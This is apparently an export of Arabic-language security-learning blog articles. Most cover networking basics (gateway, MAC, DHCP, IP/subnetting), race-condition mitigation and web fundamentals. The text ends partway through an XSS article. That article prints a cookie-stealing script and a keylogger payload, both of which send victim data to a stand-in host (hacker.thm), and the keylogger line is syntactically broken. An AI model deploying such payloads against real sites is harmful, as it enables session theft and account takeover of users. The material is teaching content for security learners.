الروتر بيحتوي على واجهتين: واحدة متصلة بالشبكة المحلية (LAN) والتانية متصلة بالإنترنت أو شبكة خارجية (WAN). الـ Gateway بيكون ليها عنوان IP معين يُعرف باسم Default Gateway، وده العنوان اللي الأجهزة في الشبكة المحلية بتبعتله البيانات لما تكون رايحة لشبكة خارجية.\nدور الـ Gateway في اتصال جهازك بالإنترنت: لما جهازك عرف عنوان الـ IP بتاعه (عن طريق DHCP مثلاً)، وبيحتاج يتصل بالإنترنت (مثلًا يفتح موقع زي Google)، الآلية بتكون كده:\nتحديد الوجهة: جهازك بيحدد إن الوجهة (زي عنوان IP بتاع سيرفر Google) مش موجودة في الشبكة المحلية (يعني مش في نفس نطاق الـ Subnet). في الحالة دي، جهازك بيبعت البيانات للـ Default Gateway بدل ما يحاول يلاقي الوجهة مباشرة. دور الـ Gateway: الـ Gateway (عادةً الروتر) بيستلم البيانات من جهازك. بيستخدم جدول التوجيه (Routing Table) بتاعه عشان يقرر إزاي يوجه البيانات للشبكة الخارجية. الـ Gateway بتعمل عملية NAT (Network Address Translation) لو الشبكة المحلية بتستخدم عناوين IP خاصة (Private IPs زي 192.168.x.x). يعني بتغير عنوان الـ IP الخاص بجهازك لعنوان IP عام (Public IP) عشان يقدر يتواصل مع الإنترنت. إرسال واستقبال البيانات: الـ Gateway بتبعت البيانات للشبكة الخارجية (الإنترنت) عن طريق مزود الخدمة (ISP). لما يجي الرد (مثلًا صفحة الموقع)، الـ Gateway بيستلمه ويوجهه لجهازك بناءً على الـ IP والـ MAC Address بتوعك. ليه الـ Gateway مهمة؟ ربط الشبكات المختلفة: الشبكة المحلية (LAN) ليها بروتوكولات وقواعد مختلفة عن الشبكة الخارجية (WAN). الـ Gateway بتعمل كمترجم بين الشبكتين. توجيه البيانات: بدون الـ Gateway، جهازك مش هيعرف يلاقي طريق للإنترنت، لأن الـ LAN محدودة بالتواصل المحلي. الأمان: الـ Gateway (زي الروتر) بتقدر تعمل فلترة للبيانات أو جدار حماية (Firewall) عشان تحمي الشبكة المحلية. علاقة الـ Gateway بالـ MAC Address والـ IP: لما جهازك بيبعت بيانات للـ Gateway، بيستخدم الـ MAC Address بتاع الـ Gateway عشان يوجه الـ Frame داخل الـ LAN (بمساعدة بروتوكول ARP اللي بناقشناه قبل كده). الـ Gateway بتاخد الـ IP Packet من الـ Frame، وبعدين بتوجهه للإنترنت بناءً على عنوان الـ IP. يعني الـ MAC بيُستخدم للتواصل المحلي بين جهازك والـ Gateway، والـ IP بيُستخدم للتواصل خارج الشبكة. مثال عملي: لما تفتح جوجل على تليفونك:\nتليفونك بيعرف إن عنوان IP بتاع جوجل مش في الشبكة المحلية. بيبعت البيانات للـ Default Gateway (الروتر بتاعك، مثلاً 192.168.1.1). الروتر بيستخدم الـ MAC Address بتاعه عشان يستقبل البيانات من تليفونك. بعدين الروتر بيحول البيانات دي للإنترنت باستخدام عنوان IP عام. لما الرد يرجع من جوجل، الروتر بيوجهه لتليفونك بنفس الطريقة. ملخص بسيط: الـ Gateway هي البوابة اللي بتوصل شبكتك المحلية بالعالم الخارجي. جهازك بيبعتلها البيانات لما يكون عايز يخرج من الـ LAN، وهي بتعرف توصل البيانات دي للوجهة الصحيحة باستخدام الـ IP والـ MAC مع بعض. لو الـ Gateway مكانتش موجودة، جهازك هيفضل محصور في الشبكة المحلية بس.\n","permalink":"/basics/gateway/","summary":"الـ Gateway هي النقطة اللي بتسمح لأجهزة الشبكة المحلية بالاتصال بالشبكات الخارجية. المقال بيشرح دور الـ Gateway في توجيه البيانات، علاقتها بالـ IP والـ MAC Address، ودورها الأساسي في خروج البيانات من الـ LAN والوصول للإنترنت.","title":"الــ Gateway"},{"content":"ايه هو الـ Mac Address الـ Mac Address (Media Access Control Address) هو عنوان مادي فريد (Unique Identifier) بيتم تخصيصه لكل واجهة شبكة (Network Interface) في جهاز، زي كرت الشبكة في الكمبيوتر أو وحدة الواي-فاي في الموبايل. بيكون مكون من 48 بت (6 بايت) وبيتم التعبير عنه عادةً بستة أزواج من الأرقام والحروف السداسية العشرية (Hexadecimal)، زي: 00:1A:2B:3C:4D:5E.\nخصائص الماك أدرس: فريد عالميًا: كل ماك أدرس بيكون مختلف ويتم تحديده من الشركة المصنعة للجهاز (الجزء الأول من العنوان بيشير للشركة المصنعة، والجزء التاني بيكون خاص بالجهاز نفسه). مستوى الطبقة الثانية (Data Link Layer): الماك أدرس بيُستخدم في طبقة الـ Data Link في نموذج OSI، ==يعني بيشتغل على مستوى الشبكة المحلية (LAN) بس، مش زي عنوان الـ IP اللي بيشتغل على مستوى الإنترنت.== ثابت: عادةً الماك أدرس بيكون مدمج في الجهاز ومش بيتغير، لكن في بعض الأجهزة ممكن تغييره برمجيًا (Spoofing). علاقته باتصال الأجهزة مع بعض: الماك أدرس بيُستخدم لتحديد الأجهزة داخل الشبكة المحلية (LAN). لما جهاز بيبعت بيانات في شبكة إيثرنت أو واي-فاي، بيحط الماك أدرس بتاع المرسل والمستقبل في رأس الإطار (Frame) عشان البيانات توصل للجهاز الصحيح. الماك أدرس بيضمن إن البيانات بتروح للجهاز المقصود داخل الشبكة المحلية، حتى لو كان في أجهزة كتير متصلة بنفس الشبكة. الأجهزة زي السويتشات (Switches) بتستخدم الماك أدرس عشان توصل البيانات للوجهة الصحيحة بناءً على جدول الماك أدرسات (MAC Address Table). مثال عملي: لما تليفونك بيتصل بالواي-فاي، الروتر بيستخدم الماك أدرس بتاع التليفون عشان يعرف إنه جهاز معتمد ويوجهله البيانات. لو حطيت ماك أدرس التليفون في قائمة الفلترة (MAC Filtering) في الروتر، ممكن تمنع أو تسمح للجهاز ده بالاتصال.\n","permalink":"/basics/mac-address/","summary":"الـ MAC Address هو العنوان المادي اللي بيميز كل جهاز داخل الشبكة المحلية. المقال بيشرح تركيب الماك أدرس، خصائصه، ودوره في تواصل الأجهزة مع بعض داخل الـ LAN، مع أمثلة عملية زي استخدامه في الواي فاي وـ MAC Filtering.","title":"الــ Mac Address"},{"content":"لما جهاز جديد بيدخل الـLAN (زي لما بتفتح اللاب توب بتاعك لأول مرة وتتصل بالواي فاي)، بيحتاج ياخد IP Address. مين اللي بيديله العنوان ده؟ هو DHCP (Dynamic Host Configuration Protocol).\nوظيفته: الراوتر بتاعك (أو سيرفر الـDHCP) هو اللي بيوزع العناوين دي بشكل تلقائي على كل الأجهزة اللي في الشبكة. ده بيسهل عليك الأمور جداً، بدل ما تدخل على كل جهاز وتدي له IP يدوي.\nعملية DHCP تعتمد على آلية DORA (اختصار لـ Discover, Offer, Request, Acknowledge). الخطوات بتكون كالتالي:\nDiscover: الجهاز (Client) لما يتصل بالشبكة ويكون محتاج عنوان IP، بيبعت رسالة بث (Broadcast) لكل الأجهزة في الشبكة باسم DHCP Discover. الرسالة دي بتكون زي سؤال: \u0026ldquo;مين هنا خادم DHCP يقدر يديني عنوان IP؟\u0026rdquo; Offer: خادم الـ DHCP (DHCP Server) لما بيسمع الرسالة، بيرد بـ DHCP Offer، وهي رسالة فيها عنوان IP مقترح وإعدادات الشبكة التانية (زي Subnet Mask وGateway). لو في أكتر من خادم DHCP في الشبكة، ممكن الجهاز يستقبل أكتر من عرض. Request: الجهاز بيختار واحد من العروض (عادةً أول عرض يوصله) وبيبعت رسالة DHCP Request للخادم اللي اختاره، بيقوله: \u0026ldquo;أنا عايز العنوان ده، ممكن تثبتهولي؟\u0026rdquo; Acknowledge: الخادم بيرد بـ DHCP Acknowledge (أو ACK)، وبيأكد فيها تخصيص عنوان الـ IP للجهاز، مع إعدادات الشبكة النهائية. كمان بيحدد مدة \u0026ldquo;الإيجار\u0026rdquo; (Lease Duration)، يعني المدة اللي الجهاز هيستخدم فيها العنوان ده قبل ما يطلب تجديد. ملاحظات إضافية: مدة الإيجار (Lease): عنوان الـ IP مش بيبقى دائم، الخادم بيديه للجهاز لمدة معينة، وبعدين الجهاز لازم يجدد الإيجار لو عايز يكمل بيه. مزايا DHCP: توفير الوقت والجهد في إعداد الشبكة. تقليل أخطاء الإعدادات اليدوية (زي تكرار عناوين IP). إدارة مركزية لعناوين IP في الشبكات الكبيرة. الأجهزة اللي بتستخدم DHCP: أي جهاز بيتصل بالشبكة (كمبيوتر، موبايل، روتر، إلخ) ممكن يستخدم DHCP لو مش مضبوط بعنوان IP ثابت. الخادم: غالبًا بيكون موجود في الروتر أو في سيرفر مخصص في الشبكات الكبيرة. ","permalink":"/basics/dhcp/","summary":"DHCP هو البروتوكول المسؤول عن توزيع عناوين الـ IP تلقائيًا على الأجهزة داخل الشبكة. المقال بيشرح فكرة DHCP بشكل سهل، ويستعرض خطوات DORA الأربع (Discover, Offer, Request, Acknowledge) وإزاي بتتم عملية تخصيص عنوان الـ IP بدون أي إعداد يدوي","title":"بروتوكول Dhcp"},{"content":"يعني إيه IP Address؟ كل جهاز في الـLAN بيحتاج عنوان فريد عشان الأجهزة التانية تعرف تكلمه. ده بيكون الـIP Address (زي 192.168.1.5). العناوين دي بتكون خاصة (Private) وما بتظهرش على الإنترنت. يعنى الـ IP Address هو عنوان الجهاز على الشبكة\nأي جهاز: موبايل - لابتوب - سيرفر\nلازم يبقى ليه IP مختلف،\nعشان الراوتر يعرف الداتا دي رايحة لمين.\nشكل الـ IP: أشهر نوع بنستخدمه اسمه IPv4\nوشكله كده:\n192.168.1.5 العنوان ده متقسم لأربع أجزاء:\n192 | 168 | 1 | 5 كل جزء:\nرقمه من 0 لـ 255 اسمه Octet وده بيكون 8 bits انما الــ IPv6: النسخة الجديدة، بتستخدم 128 بت ومكتوبة بثمان مجموعات هيكساديسيمال - (مثل 2001:0db8:85a3:0000:0000:8a2e:0370:7334). عشان يستوعب أجهزة كتير زي IoT\nعندنا بقـا شكلين من الـ IP 🔹 الـ Private IP وده العنوان اللي بيتستخدم جوه الشبكات الداخلية:\nواي فاي البيت شركة كافيه أشهر النطاقات بتاعته :\n192.168.x.x 10.x.x.x 172.16 – 172.31.x.x يعني لما جهازك ياخد:\n192.168.1.10 ده عنوان محلي، ما حدش على الإنترنت شايفه الاجهزة بس اللى معاك على الشبكة الداخليه هما اللى بيشوفوه .\n🔹 الــ Public IP ده العنوان اللي: العالم كله شايفه و المواقع والسيرفرات بتستخدمه\nمثال:\n142.250.190.78 // --\u0026gt;Google Server الـ IP بيتكوّن من إيه؟ أي IPv4 بيتقسم لحاجتين:\n[ Network Part ] [ Host Part ] مثال: 192.168.1.10 192.168.1 → اسم الشبكة 10 → رقم الجهاز طيب نعرف إزاي الجزء ده شبكة ولا جهاز؟ هنا بييجي دور حاجة اسمها:\nالـ Subnet Mask الـ Subnet Mask ببساطة بيقول:\n\u0026ldquo;فين الشبكة؟ وفين الجهاز؟\u0026rdquo;\nأشهر مثال:\n255.255.255.0 وده معناه:\nأول 3 أرقام = شبكة آخر رقم = جهاز يعني:\n192.168.1 | .10 إيه قصة /24 و /25 ؟ دي طريقة مختصرة اسمها CIDR Notation\nمثال:\n192.168.1.0/24 يعني:\nأول 24 bit للشبكة زى ما ققولنا قبل كده ان الـ Octet فيه 8 bits معنه كده انه هيكون واخد اول 3 خانات باقي البِتات للأجهزة نخش بقى على Subnetting يعني إيه Subnetting؟ الـ Subnetting = تقسيم شبكة كبيرة\nلشبكات أصغر\nليه نعمل Subnetting؟ للتنظيم: بدل ما كل الأجهزة في شبكة واحدة: موظفين - سيرفرات - ضيوف نقسمهم: لـ Subnet للموظفين - Subnet للسيرفرات - Subnet للضيوف\nللأمان لو جهاز اخترق في Subnet\nمش بسهولة يوصل للباقي الأداء: شبكة أصغر = زحمة أقل = أداء أحسن\n","permalink":"/basics/ip-address-and-subnetting/","summary":"Understanding IP addresses and subnet masks for network segmentation.","title":"ايه هو الـ IP - Subnetting"},{"content":"الشبكة المحلية (LAN) الـLAN، أو Local Area Network، هي ببساطة شبكة صغيرة بتوصل مجموعة من الأجهزة ببعض في منطقة جغرافية محدودة، زي بيتك، أو مكتب صغير، أو حتى مبنى كامل.\nبتكون مجموعة من الأجهزة (كمبيوتر، موبايل، طابعة ذكية، كاميرا مراقبة) كلها متوصلة ببعض في نفس المكان. الأجهزة دي تقدر تتواصل مع بعضها بشكل مباشر وسريع جداً، وتقدر تشارك الموارد (زي الملفات أو الطابعة).\nالـ WAN (Wide Area Network): شبكة بتغطي مساحة جغرافية كبيرة، وبتوصل LANs مختلفة ببعض (زى مثلا شبكة شركة ليها فروع في مدن مختلفة).\nالــ Internet: أكبر WAN في العالم → شبكة بتربط كل الشبكات مع بعض (LANs + WANs).\n","permalink":"/basics/lan-wan-internet/","summary":"Differences between LAN, WAN, and the Internet explained simply.","title":"مفهوم Lan Wan Internet"},{"content":"يعنى إيه Race Condition؟ الـ Race Condition معناها إن فى سباق بيحصل بين عمليتين (أو Threads) فى نفس الوقت على (resource) مشترك، زى متغير (variable) أو ملف أو قاعدة بيانات،\nوالنتيجة بتعتمد على مين فيهم يخلص الأول أو مين يشتغل قبل التانى.\nبمعنى تانى، لو العمليتين بيحاولوا يقروا أو يكتبوا على نفس الحاجة فى نفس اللحظة، ومفيش تنظيم بينهم، يحصل لخبطة فى النتائج.\n💡 مثال بسيط: تخيل إن فيه اتنين بيحاولوا يسحبوا فلوس من نفس الحساب البنكى فى نفس اللحظة:\nالرصيد فى الأول = 1000 جنيه الشخص الأول يسحب 500 الشخص التانى برضه سحب 500 لو النظام ماعملش تنظيم (synchronization)، ممكن يحصل ان:\nالشخص الأول يقرأ الرصيد = 1000 الشخص التانى يقرأ الرصيد = 1000 (قبل ما الأول يخصم الفلوس) الأول يخصم 500 → الرصيد المفروض يبقى 500 التانى يخصم 500 → بس هو كان لسه شايف الرصيد 1000، فالناتج يبقى 500 تانى\n✅ المفروض الرصيد يبقى 0\n❌ لكن هيبقى 500 بسبب الـ Race Condition طب ليه الثغرة دى بتحصل؟ لأن فى أكتر من Thread أو Process بيشتغلوا مع بعض على نفس الحاجة، :\nومفيش (Lock) يمنع التداخل أو تنفيذ ذكى يضمن إن العملية تتحسب كلها مرة واحدة (atomic operation) الــ Attacker يقدر يعمل من خلالها اكتر من حاجة زى ممكن تعمل Data corruption أو Unauthorized actions حاجات تحصل مش المفروض تحصل أو System crash او انه يستغل اللحظة اللى مفيش فيها قفل ويعدّى خطوة تحقق أو صلاحية او يشترى منتج بسعر اقل او ياخد خصم اكتر من مرة. 1. الـ Features أو الـ Endpoints اللى ممكن نلاقى فيها الثغرة: CouponApply: لو الثغرة في تطبيق كوبونات أو خصومات، زي لما الكوبون يتطبق أكتر من مرة (زي المثال اللي قولناه قبل كده). PaymentProcessing: لو الثغرة في عمليات الدفع، زي لما الـ App يسمح بسحب فلوس مرتين من الرصيد بسبب Race. SignUp: لو الثغرة في تسجيل حسابات، زي لما يتسجل حسابين بنفس الـ Username (زي المثال بتاع الـ Account Creation). Checkout: لو الثغرة في عملية الـ Checkout في مواقع التسوق، زي لما الـ Order يتكرر أو يتعدل بطريقة غلط. FileUpload: لو الثغرة في رفع ملفات، زي لما ملفين يترفعوا في نفس الوقت ويحصل Overwrite. Booking: لو الثغرة في نظام الحجز (زي حجز تذكرة طيران أو فندق)، لما مقعد يتحجز مرتين. ResetPassword: لو الثغرة في عملية إعادة تعيين كلمة السر، زي لما Requestين يغيروا الباسورد مع بعض. InventoryUpdate: لو الثغرة في تحديث المخزون، زي لما منتج يتباع أكتر من الكمية المتاحة. الــ Mitigation (حماية) إيه اللي بيخلي الـ Race Condition يحصل أصلًا؟ زي ما قولنا قبل كده، الـ Race Condition بيحصل لما فيه عمليات (Requests) متعددة بتحاول تتفاعل مع نفس الـ Resource (زي Database، File، أو Memory) في نفس الوقت، ومفيش حماية كافية عشان تمنع التداخل. عشان كده، الـ Mitigation بيركز على إنك تخلي العمليات دي آمنة ومنظمة بحيث مفيش تداخل يحصل. هنقسم الـ Mitigation لخطوات عملية، وهنتكلم عن الحلول من منظور الـ Code، الـ Database، والـ Infrastructure.\n1. استخدام Locks الـ Locks هي أول حاجة تفكر فيها لما تيجي تحمي من الـ Race Condition. الفكرة إنك تقفل الـ Resource لحد ما العملية اللي بتستخدمه تخلّص، عشان ماحدش تاني يقدر يتدخل في نفس الوقت.\nفي الـ Code:\nلو الـ App مبرمجة بـ Java، استخدم synchronized blocks أو ReentrantLock.\nمثال: synchronized(account) { if (account.balance \u0026gt;= amount) { account.balance -= amount; } } ده بيضمن إن مفيش Thread تاني يدخل يعدل في الـ balance لحد ما الأولاني يخلّص. لو بـ Python، استخدم threading.Lock: from threading import Lock lock = Lock() def transfer_money(account, amount): with lock: if account[\u0026#39;balance\u0026#39;] \u0026gt;= amount: account[\u0026#39;balance\u0026#39;] -= amount الـ with lock هنا بيمنع أي Thread تاني من الدخول لحد ما الـ Operation تخلّص. في الـ File System: لو الـ App بتكتب في Files، استخدم File Locks (زي flock في Linux أو LockFile في Windows) عشان تمنع الكتابة المتزامنة.\n2. استخدام Database Transactions لو الـ Race Condition بيحصل في الـ Database (وهو شائع جدًا في الـ Web Apps)، الحل الأقوى هو استخدام Transactions مع Locking Mechanisms. الـ Transactions بتضمن إن العمليات بتحصل كلها مرة واحدة (Atomic) أو متتحدثش خالص.\nكيف تعمل Transaction: في SQL، استخدم BEGIN TRANSACTION و COMMIT: BEGIN TRANSACTION; SELECT balance FROM accounts WHERE user_id = 123 FOR UPDATE; UPDATE accounts SET balance = balance - 100 WHERE user_id = 123; COMMIT; الـ FOR UPDATE هنا بيقفل الـ Row في الـ Database، عشان مفيش Query تاني يقدر يعدل فيه لحد ما الـ Transaction تخلّص.\nالــ Optimistic Locking: لو الـ App عندها حركة كبيرة ومش عايزين نستخدم Locks ثقيلة، نستخدم Optimistic Locking. الفكرة إنك تضيف version أو timestamp لكل Record، وتشيك إنه لسه زي ما هو قبل التحديث. مثال: UPDATE accounts SET balance = balance - 100, version = version + 1 WHERE user_id = 123 AND version = 5; لو الـ version اتغير من Request تاني، الـ Update هيفشل.\n3. الــ Atomic Operations لو مش عايز تستخدم Locks أو Transactions، فيه عمليات Atomic (غير قابلة للتقسيم) بتضمن إن الـ Operation تتم كلها مرة واحدة من غير تداخل. دي شائعة في الـ Databases زي Redis أو MongoDB.\nفي Redis: استخدم أوامر زي INCR أو DECR بدل ما تقرأ وتكتب يدوي: INCR user:123:balance ده بيزود الـ Value بطريقة Atomic، يعني مفيش مجال لحدوث Race.\nفي MongoDB: استخدم findAndModify أو $inc: db.accounts.findOneAndUpdate( { user_id: \u0026#34;123\u0026#34; }, { $inc: { balance: -100 } } ); دي بتعدل الـ Value في خطوة واحدة.\nوده بيتعمل عشان لو الـ App بتعتمد على Read ثم Write، هيبقى فيه فرصة للـ Race. لكن الـ Atomic Operations بتحل المشكلة دي. 4. الــ Queue Systems للـ High Traffic لو الـ App بتستقبل طلبات كتير جدًا (زي موقع تسوق زي Noon في الـ Black Friday)، الحل الأفضل هو استخدام Queue Systems زي RabbitMQ أو Kafka. الفكرة إنك بدل ما تسيب الـ Requests تضرب الـ Server مباشرة، تحطها في طابور (Queue)، والـ Server يتعامل معاهم واحد واحد.\nبتتم كالآتى\nالـ User يبعت Request (مثلًا Apply Coupon). الـ Request يتحط في Queue. الـ Server ياخد الـ Request من الـ Queue، ينفذه، ويحدث الـ Database بطريقة آمنة (مع Lock أو Transaction). الميزة هنا انه بيمنع الـ Concurrent Requests من التداخل، لأن الـ Queue بيضمن إن كل عملية تتم لوحدها.\n5. الـ Rate Limiting مع مراقبة الـ Requests في بعض الحالات، الـ Race Condition بيحصل بسبب إن الـ App بتستقبل Requests كتير أوي في وقت واحد. هنا ممكن تستخدم Rate Limiting عشان تحد من عدد الـ Requests من نفس الـ User أو الـ IP في ثانية واحدة.\nوده بيتم عن طريق استخدام Middleware زي Nginx أو Cloudflare عشان تحد عدد الـ Requests. أو في الـ Code، حط Check على عدد الـ Requests: from redis import Redis redis_client = Redis() def rate_limit(user_id): key = f\u0026#34;ratelimit:{user_id}\u0026#34; count = redis_client.incr(key) redis_client.expire(key, 1) # 1 second window if count \u0026gt; 5: # Max 5 requests per second return False return True 6. تقليل الـ Time Window للـ TOCTOU الـ Race Condition بيحصل كتير بسبب الـ Time Of Check To Time Of Use (TOCTOU)، يعني الوقت بين الـ Check (التحقق) والـ Use (الاستخدام). لو قللت الوقت ده، هتقلل فرصة الـ Race.\nازاي؟\nبدل ما تعمل Check ثم Update في خطوتين، ادمجهم في خطوة واحدة (زي الـ Atomic Operations). أو استخدم In-Memory Databases زي Redis عشان السرعة العالية بتقلل الـ Window. مثال: بدل:\nSELECT balance FROM accounts WHERE user_id = 123; -- (Time gap) UPDATE accounts SET balance = balance - 100 WHERE user_id = 123; اعمل:\nUPDATE accounts SET balance = balance - 100 WHERE user_id = 123 AND balance \u0026gt;= 100; ده بيخلي الـ Check والـ Update في Query واحدة.\nRecourses تقدر تقرى الـ Reports دى علشان تفهم اكتر فين ممكن تلاقى الثغرة وازاى تستغلها\nhttps://akashhamal0x01.medium.com/bypassing-hackerone-2fa-due-to-race-condition-8afe2dbff7c9 https://hackerone.com/reports/454949 https://hackerone.com/reports/429026 https://hackerone.com/reports/604534 https://hackerone.com/reports/413759 ","permalink":"/vulnerabilities/race-condetion/","summary":"هنشرح مفهوم الثغرة وازاى نقدر نحمى الـ APP منها","title":"ثغرة الـ Race Condetion"},{"content":"كل شيء في الويب بيبدأ بـ**[[Browser Server Communication]]**. تخيل متصفحك (العميل) والخادم اللي عليه الموقع كأنهم شخصين بيتكلموا. لغة الحوار الأساسية بينهم هي [[HTTP Protocol]]، وهي مجموعة من القواعد بتحدد إزاي يطلبوا البيانات ويسلموها.\nالخادم اللي بيستضيف المواقع غالبًا بيكون برنامج متخصص زي [[Apache server]] (أو Nginx). وظيفته الرئيسية إنه يستقبل طلبات المتصفحات ويرد عليها بالمحتوى المطلوب.\nتفاصيل الطلب والاستجابة (Request Lifecycle) عملية طلب الصفحة مش بسيطة، لكنها بتتم في مراحل اسمها [[Request Lifecycle]]. المتصفح بيفتح اتصال مع السيرفر، يبعت الطلب بكل تفاصيله، والسيرفر بيعالجه ويرد بالاستجابة.\nالطلب بيكون ليه طريقة معينة، وده بيحدده [[HTTP Request Methods]]. أشهرها:\nالـ GET: بتستخدمها لما تكون عايز \u0026ldquo;تستقبل\u0026rdquo; معلومات من السيرفر، زي لما تفتح صفحة عادية. الـ POST: بتستخدمها لما تكون عايز \u0026ldquo;ترسل\u0026rdquo; بيانات للسيرفر، زي لما تملأ استمارة تسجيل. في الطلب والاستجابة، فيه تفاصيل مهمة جداً:\nالـ [[Content-Type and Accept]]: المتصفح بيبعت في الطلب بتاعه هيدر (header) اسمه Accept، وده بيقول للسيرفر \u0026ldquo;أنا ممكن أقبل أنواع المحتوى دي\u0026rdquo; (مثلًا HTML، أو JSON). السيرفر بيرد بهيدر اسمه Content-Type، اللي بيحدد نوع المحتوى اللي بيبعته فعلاً (مثلًا text/html). بعد ما السيرفر بيعالج الطلب، بيبعت [[HTTP Status Codes]] في الرد عشان يقول للمتصفح إيه اللي حصل. زي 200 OK (الطلب نجح)، أو 404 Not Found (المحتوى مش موجود).\nالكوكيز، الجلسات، والأمان (Cookies, Sessions, and Security) الـHTTP بروتوكول \u0026ldquo;بلا حالة\u0026rdquo; (stateless)، يعني كل طلب منفصل عن اللي قبله. عشان المواقع تتذكرك (زي إنك عملت تسجيل دخول)، بتستخدم [[Cookies and Sessions]]:\nالـ Cookies: ملفات صغيرة السيرفر بيخزنها على جهازك. الـ Sessions: على السيرفر، بيتم ربط الـCookie اللي عندك بحالة معينة (مثلاً: \u0026ldquo;هذا المستخدم قام بتسجيل الدخول\u0026rdquo;). للتأمين، بنستخدم [[HTTPS and SSL_TLS]]، اللي بيضيف طبقة تشفير على كل الاتصالات بين المتصفح والسيرفر، وده بيخلي البيانات محمية.\nجزء من عملية التحسين والأداء هو [[Caching]]. أحيانًا السيرفر ممكن يقول للمتصفح \u0026ldquo;البيانات دي مش هتتغير لفترة، خزنها عندك\u0026rdquo;. ودي عملية الـCaching، بتخلي المواقع أسرع جداً وتقلل الضغط على السيرفر.\nطرق التواصل المتقدمة والحماية (Advanced Communication and Security) الويب الحديث مش بس صفحات HTML. فيه طرق تواصل تانية ومهمة:\n[[REST APIs]]: دي طريقة تواصل بين تطبيقات مختلفة. بدل ما السيرفر يبعت صفحة كاملة، بيبعت بيانات خام (زي JSON) عشان تطبيقات الموبايل أو تطبيقات الويب الحديثة تستخدمها.\n[[WebSockets]]: دي طريقة بتسمح باتصال مستمر ومزدوج الاتجاه بين المتصفح والسيرفر. مفيدة جداً في التطبيقات اللي فيها تحديثات لحظية زي الدردشة.\nلضمان الأمان، فيه مبدأ مهم جداً:\n[[Same-Origin Policy and CORS]]: مبدأ أمان أساسي بيمنع إن موقع على دومين معين يتواصل مباشرة مع موقع على دومين تاني. CORS (Cross-Origin Resource Sharing) هي آلية بتخلي المبدأ ده مرن، بحيث إن السيرفر ممكن يسمح لدومينات تانية موثوقة بالوصول إلى بياناته، وده مهم جداً للـREST APIs. فهمك لكل هذه النقاط مترابطة ببعضها هيخليك تفهم آليات عمل المواقع والتطبيقات بشكل عميق جداً، وده هو المفتاح لاختبار اختراقها بشكل فعال.\nهل تريد أن ننتقل لأساسيات قواعد البيانات، أم نركز على أي نقطة من هذه النقاط بالتفصيل؟\n","permalink":"/basics/web-story/","summary":"هتلاقى هنا كل المقالات اللى موجوده فى السيكشن بتاع اساسيات الويب بشكل مرتب","title":"اساسيات الويب"},{"content":"مفهوم الـ XSS ثغرة Cross-Site Scripting (XSS) هي ثغرة بتسمح للمهاجم إنه يحقن كود JavaScript خبيث داخل موقع ويب، والكود ده بيتنفذ في متصفح الضحية مش على السيرفر.\nفى بقا انواع للــ XSS Reflected XSS Stored XSS DOM XSS الـ Reflected ده معناها انعكاس الكود اللى بنكتبه فى الصفحه اللى شغاله حاليا اذا كان كنا بنكتب الكود ده فى input او فى الــ URL من خلال الــ Parameter وهنا بقا الـ Payload بتاعنا بيكون موجود فى الـ URL وبيتم ارساله للمستخدم عشان يتم تنفيذه\nالــ Stored دى بقا اللى الكود فيها بيتخزن ع السيرفر فى الداتا بيز زى مثلا Comment Function اللى بنكتبه هنا بيروح يتسجل فى السيرفر واى حد بيدخل ع نفس الصفحه من اى مكان بيظهرله اللى احنا كتبناه ويتنفذ عنده الكود\nالـ Blind XSS هنا انت مش بتشوف الـ Execute بتاع الكود لانه بيتنفذ عند اللى بيتبعتله الحاجه اللى انت بتكتبها زى مثلا لما تدى فيد باك ع خدمة معينه او لما تبعت تيكت او شكوى للادمن بتاع الموقع او لما تملى فورم بيوصل لادمن الموقع ومش بيتعرض للمستخدمين العادين وهنا فى اداة نقدر نستخدمها عشان نتابع الموضوع ده زى XSS report\nالـ DOM-Based XSS بيحصل لما JavaScript تتعامل مع حاجة جاية من المستخدم (زي URL، أو input، أو document.cookie\u0026hellip;إلخ) وتكتبها في الصفحة من غير ما تعمل فلترة أو تأمين. يعني السيرفر مالوش علاقة الكود الخبيث بيتنفذ بسبب طريقة تعامل JavaScript مع الداتا اللي جاية من URL أو من عناصر الصفحة.\nحاجتين مهمين لازم نعرفهم بخصوص الـ DOM XSS\nالــ Source دي الأماكن اللي الهاكر يقدر يدخل منها داتا (مدخلات المستخدم). الـ Sink دي الأماكن اللي الـ JavaScript بتكتب فيها الداتا أو تتعامل بيها بشكل ممكن يؤدي لتنفيذ كود. يعني لما داتا (جات من الـ Source) تروح تتحط جوه واحدة من الـ Sink دي، ومفيش فلترة، بيبقى عندك DOM XSS. الـ Source المعنى location.href الـ URL كامل location.search الجزء بعد ? location.hash الجزء بعد # document.URL نفس location.href document.documentURI زي document.URL document.referrer الصفحة اللي جا منها الزائر window.name قيمة قابلة للتغيير من صفحة تانية localStorage.getItem() داتا مخزنة من قبل المستخدم sessionStorage.getItem() زي اللي فوق بس مؤقتة الـ Sink الوصف innerHTML بتحط محتوى HTML — ينفذ سكريبت outerHTML زي innerHTML بس بيبدل العنصر نفسه document.write() بيكتب HTML مباشر في الصفحة document.writeln() زي اللي فوق eval() بينفذ أي نص كأنه JavaScript setTimeout(code) بينفذ كود بعد وقت — لو الكود جا كـ String خطر setInterval(code) زي اللي فوق بس كل فترة Function() بترجم نص إلى JavaScript زي eval element.setAttribute(\u0026quot;onclick\u0026quot;, userInput) بينفذ كود لو المستخدم ضغط يبقى الفكرة هنا اننا نختبر اى input موجود فى التارجت ونتتبعه عشان نشوفه معرض للثغرة ولا لاء الموضوع ده بقا بيتمنع بفلترة المدخلات من المستخدم من خلال طريقتين\nالـ Client Side Validation هنا هنلاقى DOM XSS - DOM HTML injection\nالـ Server Side Validation وهنا هلاقى الـ Reflected XSS - Stored XSS\nايه الخطورة اصلا:\nنسرق كوكيز اللى ممكن تخلينا نعمل ATO من خلال اننا ناخد سيشن المستخدم نحول الصفحه المستخدمة الى صفحه تانيه نبعت بيانات حساسه نعدل ع شكل الصفح نعمل تنصت على الكيبورد وكل اللى بيكتبه المستخدم الـ payloads وده كود JS اللى بيتعمله Execute فى متصفح المستخدم او ع جهاز المستخدم\nوهنا فيه كذا استخدام للـ Payloads POC:\n\u0026lt;script\u0026gt;alert(\u0026#39;XSS\u0026#39;);\u0026lt;/script\u0026gt; Steal Cookies:\n\u0026lt;script\u0026gt;fetch(\u0026#39;https://hacker.thm/steal?cookie=\u0026#39; + btoa(document.cookie));\u0026lt;/script\u0026gt; Key logger:\n\u0026lt;script\u0026gt;document.onkeypress = function(e) { fetch(\u0026#39;https://hacker.thm/log?key=btoa(e.key)); \u0026lt;/script\u0026gt; btoa(...)\nدي دالة JavaScript اسمها btoa = binary to ASCII بتحوّل أي نص عادي (مثل الكوكيز) إلى Base64 encoding. علشان نضمن إن كل الرموز 